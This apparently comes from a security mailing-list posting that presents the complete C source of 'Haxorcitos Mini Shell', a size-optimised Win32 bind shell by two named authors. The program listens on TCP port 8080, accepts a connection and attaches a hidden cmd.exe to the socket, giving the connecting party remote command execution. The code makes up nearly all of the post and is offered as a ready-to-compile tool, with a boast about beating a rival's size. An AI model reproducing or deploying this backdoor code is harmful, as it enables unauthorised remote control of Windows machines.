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Win32 Bind Shell
------------------------------------------------------------------------
SUMMARY
DETAILS
Small bindshell (908 bytes for binary) compacted to 804 bytes with a
little Headers modification.
Source:
/*##############################################################################
Haxorcitos Mini Shell
=======================================================
Details:
Compiled Size: 908 bytes
Tweaked Size : 804 bytes (with a little Headers modification by Tarako)
This size can be also reduced disabling MsDos exe compatibility (maybe
further release)
Programado por/Coded by : Miguel Tarasc Acu a aka "Tarako" -
Tarako@gmail.com
Programado por/Coded by : Andres Tarasc Acu a aka "aT4r" -
atarasco@gmail.com
Pagina Web/ Web page : http://www.Haxorcitos.com
Tested under Windows 2000 SP4 Spanish version
Tested under Windows XP SP2 Spanish version
Sorry Checksum.org. Our bind shell is smaller than yours (tx.exe) }:)
and we also provide source code
################################################################################*/
#include <winsock2.h>
#pragma comment(linker,"/ENTRY:WinMain")
int WINAPI WinMain(HINSTANCE , HINSTANCE , LPSTR ,int ) {
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s;
WSADATA HWSAdata;
WSAStartup(0x101, &HWSAdata);
s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
sa.sin_family = AF_INET;
sa.sin_port = 0x901F; // (USHORT)htons(8080);
sa.sin_addr.s_addr= 0x00; // htonl(INADDR_ANY);
bind(s, (struct sockaddr *) &sa, 16);
listen(s, 1);
s= accept(s,(struct sockaddr *)&sa,NULL);
si.cb = sizeof(si); // 0x44;
si.wShowWindow = SW_HIDE; // 0x00
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; // 0x101
si.hStdInput = si.hStdOutput = si.hStdError = (void *) s;
si.lpDesktop = si.lpTitle = (char *) 0x0000;
si.lpReserved2 = NULL;
CreateProcess( NULL ,"cmd",NULL, NULL,TRUE,
0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:tarako@gmail.com> Miguel
Tarasco.
The original article can be found at: <www.Haxorcitos.com>
www.Haxorcitos.com
========================================
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